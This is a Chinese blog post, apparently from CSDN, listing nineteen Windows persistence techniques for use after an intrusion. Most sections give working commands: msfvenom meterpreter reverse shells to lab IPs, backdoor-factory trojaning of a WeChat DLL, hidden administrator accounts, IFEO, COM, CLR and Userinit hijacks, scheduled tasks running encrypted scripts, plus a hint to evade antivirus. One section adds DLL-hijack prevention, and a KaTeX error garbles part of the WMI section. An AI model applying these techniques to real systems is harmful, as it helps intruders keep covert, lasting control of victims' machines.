Windows后渗透--维持权限十九式

0x00:前言

维持权限后门是指当入侵者通过某种手段拿到服务器的控制权之后,通过在服务器上放置一些后门(脚本、进程、连接之类),来方便他以后持久性的入侵,简单梳理一下日常遇见windows用的比较多的一些持久化方式方便以后排查问题使用.

0x01:"经典的"shift后门

这个算是比较古老还比较"经典的"的隐藏方式了,这里简单讲一下,在windows中有一些辅助功能,能在用户未登录系统之前可以通过组合键来启动它,类似的辅助功能有:
1、C:\Windows\System32\sethc.exe 粘滞键,启动快捷键:按五次shift键
2、C:\Windows\System32\utilman.exe 设置中心,启动快捷键:Windows+U键
在低版本的windows中,我们可以直接把setch.exe替换成我们的后门程序.并在用户的登录页面敲击五次shift键就可以出现CMD窗口.
映像劫持
这个和shift后门差不多,只不过在低版本的windows中,我们可以简单地替换程序,但是在高版本的windows版本中替换的文件受到了系统的保护,所以这里我们要使用另外一个知识点:映像劫持。
“映像劫持”,也被称为"IFEO"
简单来说就是当目标程序被映像劫持时,当我们启动目标程序时,启动的是劫持后的程序而不是原来的程序
操作也很简单,在注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option下添加一个项sethc.exe,然后在sethc.exe这个项中添加debugger键,键值为我们恶意程序的路径,如下图
在这里插入图片描述
在这里插入图片描述

0×02 注册表自启动

MSF的Persistence模块利用的就是写注册表自启动项来实现的,一般自启动项是这两个键:Run和RunOnce,两者的区别如下
* run:该项下的键值即为开机启动项,每一次随着开机而启动。
* runonce:runonce和run差不多,唯一的区别就是runonce的键值只作用一次,执行完毕后就会自动删除
用户级
* \HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
* \HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
系统级
* \HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
* \HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
* \HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
* \HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce

0x03:定时任务

Windows实现定时任务主要有schtasks与at二种方式.简单的说schtasks是at的升级版本.
at:at命令在win7-08等高版本的windows中是不能将任务在前台执行的,也就是只会打开一个后台进程.
schtasks:是将定时的任务在前台执行.
使用以下命令可以一键实现:
schtasks /create /sc minute /mo 1 /tn “chrome” /tr wscript.exe C:\Users\AppData\Local\Temp\13442980_crypted.vbs
在这里插入图片描述
在这里插入图片描述

0x04:WMI

WMI是一项核心的 Windows 管理技术;用户可以使用 WMI 管理本地和远程计算机.主要与Powershell命令配合使用可以实现无文件攻击重要方式,具有良好的隐蔽性也是目前较为常用的持久化手段.
三好学生的三篇文章:
http://drops.xmd5.com/static/drops/tips-8189.html
http://drops.xmd5.com/static/drops/tips-8260.html
http://drops.xmd5.com/static/drops/tips-8290.html
利用方式参考:
0x01:环境准备
1. WinRM会用到5985、5986 端口,所以防火墙必须做开放处理。
2. 用Administrator账户登录攻击机器
3. 前提知道被攻击方的用户登录账户密码
4. Windows操作系统中,默认是开启共享IPCKaTeX parse error: Undefined control sequence: \ipc at position 237: …\192.168.124.20\̲i̲p̲c̲ “密码”/user:“用户名
三、在(win7)中需要被远程访问的文件,开启文件共享。
开启共享文件夹,并添加访问用户的权限,使其能够远程访问。
四、在(win7)中放置木马,并且用(kali)接收反弹的shell
1、生成shellcode
msfvenom -pwindows/x64/meterpreter_reverse_tcp lhost=192.168.124.32 lport=7777-f exe -o ./luomiweixiong.exe
2、把”luomiweixiong.exe”放在(win7)的C盘根目录。
3、kali启动监听shell模式
在这里插入图片描述
五、利用(server2016)的WinRM 实现内网无文件攻击反弹shell
1、在(server2016)中执行以下命令
winrm invoke create wmicimv2/win32_process @{commandline="\192.168.12.20\c\luomiweixiong.exe"}
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

0x05:屏幕保护程序

0x00:简介
1、屏幕保护程序,当初的设计是为了防止长期屏幕的显示,预防老化与缩短屏幕显示器老化的一种保护程序。
2、攻击者可以利用屏幕保护程序来隐藏shell,达到一定的权限维持。
3、如果想长期隐藏,请作免杀处理
0x01:过程
1、屏幕保护的存放位置
Win32
在这里插入图片描述在这里插入图片描述
Win64
在这里插入图片描述在这里插入图片描述
2、制作恶意程序
在这里插入图片描述
然后放至受害者的电脑上(我这里是放到了C盘的tmp下)
3、通过CMD来植入恶意程序(注:本机测试请先备份好注册表)
利用代码:regadd “hkcu\control panel\desktop” /v SCRNSAVE.EXE /d c:\tmp\jjj.exe
在这里插入图片描述
在这里插入图片描述
4、设置监听,执行exploit
5、通过powershell来植入恶意程序(注:本机测试请先备份好注册表)
利用代码:New-ItemProperty -Path ‘HKCU:\Control Panel\Desktop’ -Name’SCRNSAVE.EXE’ -Value ‘c:\tmp\jjj.exe’
执行前
在这里插入图片描述
执行后
在这里插入图片描述
MSF设置完监听
执行exploit
等待一分钟

0x06:自启动服务

自启动服务一般是在电脑启动后在后台默认或者加载指定的服务程序,可以将exe应用程序注册为服务,也可以将dll文件注册为服务.
简单的分为二种方式将自己的恶意的可执行文件注册成服务或者调用系统进程如svchost加载dll文件运行服务。第二种方式相对隐蔽性较好由于系统进程的特殊性往往不敢轻易终止进程,由于此类均在PE文件或者其他类型文件在磁盘中容易被查杀,特殊处理过的除外。
MSF可以使用Metsvc创建服务,此类操作极容易被AV查杀.
meterpreter > run metsvc -A
运行run metsvc -A完将会在目标主机上以Meterpreter的服务的形式注册在服务列表中,并开机自动自动:

0x07:DLL劫持

如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个DLL.
如果攻击者能够控制其中的某一 个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,从而造成代码执行.
另外一种思路是通过查看被劫持的DLL的导出函数表,编程实现劫持DLL向原DLL的导出函数的转发,并加入你的恶意代码达到一个劫持的效果.
如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个DLL;如果攻击者能够控制其中的某一 个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,从而造成代码执行。
比较常用的如LPK.dll的劫持:
win7及win7以上系统增加了KnownDLLs保护,需要在注册表:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls
下添加 “lpk.dll” 才能顺利劫持:
在这里插入图片描述
实例:利用微信反弹shell
0x01:环境准备
1、win微信2.6.8 下载地址(自行百度)
2、劫持工具(backdoor-factory)
3、增强型任务管理器(Process Explorer)
0x02:过程
1、所用微信版本
2、运行Process Explorer查看微信运行时所有调用的文件
3、神器backdoor-factory出场。
先配置一下反弹的端口跟ip。
代码:
python backdoor.py -f Jaky/dbghelp.dll -s reverse_shell_tcp_inline -P 6666 -H 192.168.124.11
(路径、端口、ip自己改)
这里选择“2”。
把这个生成后门的“dbghelp.dll”放回原来的位置,让微信运行时,能被调用。
4、msf开启监听模式
set lport 6666
set lhost 192.168.124.11
5、win中执行“微信”
0x03:预防
1、DLL劫持利用系统未知DLL的搜索路径方式,使得程序加载当前目录下的系统同名DLL。所以可以告诉系统DLL的位置,改变加载系统DLL的顺序不是当前目录,而是直接到系统目录下查找。
这个想法可以通过修改注册表实现。
在注册表键值:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\KnownDLLs
是调用系统DLL的首要查找目录。例如里面有RE_SZ类型的"ntdll"=“ntdll.dll"项,则系统载入"ntdll"时会直接从系统目录加载。
由此,添加"LPK”=“LPK.DLL"即可防止LPK被劫持,同理可以阻止一些其他DLL被劫持,例如"USP10”。
在Windows NT系统,XP默认只有少数关键DLL在此键值下,Win7下面此键值已经相当齐全,在Win7系统下发生DLL劫持的概率要比XP小很多。
2、还可以通过第三方工具进行dll劫持检测。DllHijackAuditor能够防止木马病毒劫持系统中的dll文件加载运行,是一款很不错的dll文件保护工具。

0x08:影子账户

CMD创建用户时 后面加一个$可以创建一个匿名用户,创建完毕后我们再把这个用户添加administrator组

net user jaky$ luomiweixiong /add
net localgroup administrators jaky$ /add

可以看到net user是看不到我们创建的用户,但是计算机管理-用户和组中可以看到.这时我们还需要更改一下注册表
其键位置为:
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
注意:SAM键值默认是只能system权限修改的,所以我们要修改一下SAM键的权限,给予administrator完全控制和读取的权限.

0x09:COM劫持

主要通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例,所以,这就可以用作后门来使用,并且,该方法也能够绕过Autoruns对启动项的检测.
劫持MruPidlList
在注册表位置为HKCU\Software\Classes\CLSID\下创建项{42aedc87-2188-41fd-b9a3-0c966feabec1},再创建一个子项InprocServer32,默认的键值为我们的dll路径,再创建一个键ThreadingModel,其键值:Apartment
在这里插入图片描述
该注册表对应COM对象MruPidlList,作用于shell32.dll,而shell32.dll是Windows的32位外壳动态链接库文件,用于打开网页和文件,建立文件时的默认文件名的设置等大量功能。其中explorer.exe会调用shell32.dll,然后会加载COM对象MruPidlList,从而触发我们的dll文件
当用户重启时或者重新创建一个explorer.exe进程时,就会加载我们的恶意dll文件,从而达到后门持久化的效果。

0x10:BITS Jobs后门

BITS Jobs是windows后台智能传输服务,用于HTTP或SMB文件传输.
它可以给任务设置优先级和异步下载,智能调节带宽,从而不占用其他应用的网络资源.
Powershell和bitsadmin.exe都可用于创建和管理Bits Job,但Powershell似乎只支持文件传输,windows原生程序bitsadmin.exe还支持传输完成后执行代码.
常见的bitsadmin命令

bitsadmin /create [type] DisplayName //创建一个任务
bitsadmin /cancel <Job> //删除一个任务
bitsadmin /list /allusers /verbose //列出所有任务
bitsadmin /AddFile <Job> <RemoteURL> <LocalName> //给任务test添加一个下载文件
bitsadmin /SetNotifyCmdLine <Job> <ProgramName> [ProgramParameters] //设置在任务完成传输时或任务进入状态时将运行的命令行命令。
bitsadmin /Resume <Job> //激活传输队列中的新任务或挂起的任务。
bitsadmin /cancel <Job> //删除某个任务
bitsadmin /reset /allusers //删除所有任务
bitsadmin /complete <Job> //完成某个任务

举个栗子

bitsadmin /create test  #创建一个任务
bitsadmin /addfile test C:\windows\system32\calc.exe C:\Users\mac\Desktop\calc.exe #给任务添加一个下载或者负责对象,我这里直接复制本地calc.exe
bitsadmin /SetNotifyCmdLine test cmd.exe "cmd.exe /c calc.exe" #设置任务完成时将运行的命令
bitsadmin /resume test  #激活任务

0x11:INF文件后门

INF文件或安装信息文件是Microsoft Windows用于安装软件和驱动程序的纯文本文件.
INF文件最常用于安装硬件组件的设备驱动程序.Windows包含用于创建基于INF的安装的IExpress工具.
INF文件是Windows安装程序API及其后续版本Windows Installer的一部分.
举个栗子
在这里插入图片描述
在举个calc.inf弹计算器例子:

[Version]
Signature="$CHICAGO$"
AdvancedINF=2.5,"test"
[DefaultInstall]
RunPreSetupCommands=Command1
[Command1]
C:\windows\system32\calc.exe

命令行下执行:
rundll32.exe advpack.dll,LaunchINFSection calc.inf,DefaultInstall
后门实现:
在注册表HKEY_CURRENT_USER\Software\Microsoft\处依次新建子项\IEAK\GroupPolicy\PendingGPOs,然后再新建几个键,如下:

  1. 键:Count,类型:REG_DWORD,键值:1
  2. 键:Path1,类型:REG_SZ,键值:C:\Users\Administrator\Desktop\test\calc.inf //这个为我们inf文件的路径,这里以上面那个inf文件例子为例
  3. 键:Section1,类型:REG_SZ,键值:DefaultInstall
    如下图所示:
    在这里插入图片描述
    在这里插入图片描述
    重启电脑之后成功弹出计算器
    但是重启之后PendingGPOs该项就会被清除,需要我们重新修改注册表
    在这里插入图片描述

0x12:文件关联

文件关联就是将一种类型的文件与一个可以打开它的程序建立起一种依存关系.一个文件可以与多个应用程序发生关联.可以利用文件的"打开方式"进行关联选择.
我们可以用assoc命令显示或修改文件扩展名关联,我们可以看一下.txt文件和jpg文件的关联
在这里插入图片描述
可以用ftype命令显示或修改用在文件扩展名关联中的文件类型
txtfile=C:\Windows\system32\calc.EXE %1
在这里插入图片描述
相关注册表

HKEY_CURRENT_USER\Software\Classe    //保存了当前用户的类注册和文件扩展名信息
HKEY_LOCAL_MACHINE\Software\Classe   //保存了系统所有用户用户的类注册和文件扩展名信息
HKEY_CLASS_ROOT                      //HKEY_CLASSES_ROOT项提供合并来自上面两个的信息的注册表的视图

我们以.txt为例,通过文件关联来修改它默认打开的程序。
修改\HKEY_CLASS_ROOT\txtfile\shell\open\command的默认值为我们要执行的程序
在这里插入图片描述

0x13:用户登录

在注册表路径:HKCU\Environment
创建字符串键值:UserInitMprLogonScript
键值设置为特定的脚本路径即可:
在这里插入图片描述
另外一种实现方式是修改winlogon Userinit字段:
Userinit的作用是用户在进行登陆初始化设置时,WinLogon进程会执行指定的login scripts,所以我们可以修改它的键值来添加我们要执行的程序,多个程序用逗号隔开
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
在这里插入图片描述
Powershell的一键修改命令如下:
Set-ItemProperty “HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon” -name Userinit -value “C:\Windows\system32\userinit.exe,***************”

0x14:Bootkit

MBR后门主要的思路是读取主引导记录和把分区表从主引导记录中复制出来。然后把自己的包含恶意二进制数据的主引导记录放到主引导扇区,并复制新的分区表到它。但是,并非只有分区表需要保留,还有原来的主引导记录也需要保存下来,MBR病毒复制原始主引导记录到其它64个未用到的扇区。到MBR病毒执行完自己的操作后在读取原始的主引导记录并跳到0x7c00处执行来引导开机。目前比较流行的比如暗云木马系列:
在这里插入图片描述
通过PCHunter也能够进行简单的MBR的异常判断,此类后门往往具有较大的实施难度病毒种类往往也较少。

0x15:CLR

CLR(公共语言运行库,Common Language Runtime)和Java虚拟机一样也是一个运行时环境,是一个可由多种编程语言使用的运行环境。CLR的核心功能包括:内存管理、程序集加载、安全性、异常处理和线程同步,可由面向CLR的所有语言使用。并保证应用和底层操作系统之间必要的分离。CLR是.NET Framework的主要执行引擎。
需要注意的是CLR能够劫持系统中全部.net程序,而且系统默认会调用.net程序,从而导致我们的后门自动触发,这是我们后门持久化的一个好的思路,下面来实现一下
修改一下注册表,注册表路径:HKEY_CURRENT_USER\Software\Classes\CLSID\,新建子项{11111111-1111-1111-1111-111111111111}(名字随便,只要不与注册表中存在的名称冲突就行),然后再新建子项InProcServer32,新建一个键ThreadingModel,键值为:Apartment,默认的键值为我们dll的路径
在这里插入图片描述在这里插入图片描述
然后在cmd下设置一下:
PS:要注册为全局变量,不然只能在当前cmd窗口劫持.net程序

SETX COR_ENABLE_PROFILING=1 /M
SETX COR_PROFILER={11111111-1111-1111-1111-111111111111} /M

然后执行一波,效果如下,可以看到已经成功劫持了
在这里插入图片描述

0x16:office系列

  • Word WLL
    把dll文件保存在%APPDATA%\Microsoft\Word\Startup,然后把后缀名改为wll
    PS:Startup支持启动多个wll
    打开word,成功弹框
    在这里插入图片描述
    • Excel XLL
      Excel dll的编写可以参考三好师傅这个项目:https://github.com/3gstudent/Add-Dll-Exports
      用三好师傅powershell脚本生成现成的Excel dll:https://github.com/3gstudent/Office-Persistence
      将生成的DLL文件复制到%appdata%\Microsoft\AddIns目录下,然后再修改一下注册表,office版本对应的注册表位置如下:
office2003 — HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\
office2007 — HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\
office2010 — HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\
office2013 — HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\
office2016 — HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\

我这里使用的2010的,所以我们要修改的是HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Options,添加一个键OPEN,键值为:/R test.dll
在这里插入图片描述
在这里插入图片描述
然后打开Excel,发现成功弹出计算器。

*PowerPoint VBA add-ins
用三好师傅powershell脚本生成现成的PowerPoint dll:https://github.com/3gstudent/Office-Persistence
将生成的DLL文件复制到%appdata%\Microsoft\AddIns目录下,然后参考前面我给出的office版本对应的注册表位置,在HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint下新建一个子项:AddIns,然后在AddIns下面新建一个子项test,新建一个键为Autoload,类型为DWORD,键值为:1;新建一个键为Path,类型为SZ,键值为我们dll文件的路径
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
打开PowerPoint成功弹出计算器。

0x17:AppInit_DLLs

User32.dll被加载到进程时,会读取AppInit_DLLs注册表项,如果有值,调用LoadLibrary() api加载用户dll。
其注册表位置为:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs,把AppInit_DLLs的键值设置为我们dll路径,将LoadAppInit_DLLs设置为1。
在这里插入图片描述

0x18:Netsh helper

netsh(全称:Network Shell) 是windows系统本身提供的功能强大的网络配置命令行工具,它可以添加自定的dll从而拓展其功能,我们可以使用netsh add helper yourdll.dll来添加拓展功能,添加了之后,在启动netsh的时候就会加载我们dll文件
添加自定义helper dll
关于helper dll的编写可以参考这个项目:https://github.com/outflanknl/NetshHelperBeacon
我们可以使用两种方式来添加helper:

  1. 通过cmd添加helper
    netsh add helper test.dll
    在这里插入图片描述
    2.通过注册表添加helper
    其位置为:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh,创建一个键,名称随便,键值为我们dll的路径
    在这里插入图片描述

0x19:开始菜单启动项

开始菜单启动项,指示启动文件夹的位置,具体的位置是“开始”菜单中的“所有程序”-“启动”选项:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
相关键值:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User   Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell   Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell   Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User   Shell Folders

在重新启动后,该目录的快捷方式或应用程序会在系统启动的时候被执行:

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值